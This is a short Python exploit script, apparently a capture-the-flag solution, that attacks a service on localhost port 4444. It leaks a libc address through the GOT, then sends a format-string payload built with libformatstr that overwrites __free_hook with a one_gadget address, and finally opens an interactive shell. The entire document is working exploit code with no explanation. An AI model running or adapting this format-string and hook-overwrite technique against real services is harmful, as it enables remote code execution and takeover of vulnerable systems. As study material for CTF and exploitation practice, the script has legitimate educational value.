from m1z0r3 import *
from libformatstr import FormatStr

HOST = "localhost"
PORT = 4444

read_got = 0x8049fc4

# local
offset_read = 0xda8d0
offset_free_hook = 0x001aa8b8
offset_one_gadget = 0x3e6a3

s,f = sock(HOST,PORT)

read_until(f)
s.send(str(read_got)+"\n")
read_addr = int(read_until(f),16)
base_libc = read_addr - offset_read

addr_free_hook = base_libc + offset_free_hook
addr_one_gadget = base_libc + offset_one_gadget

print "[+] libc base %x" % base_libc

p = FormatStr()
p[addr_free_hook] = addr_one_gadget

buf = p.payload(7)
buf += "%100000c"

read_until(f) # Good Bye.
s.send(buf+"\n")
shell(s)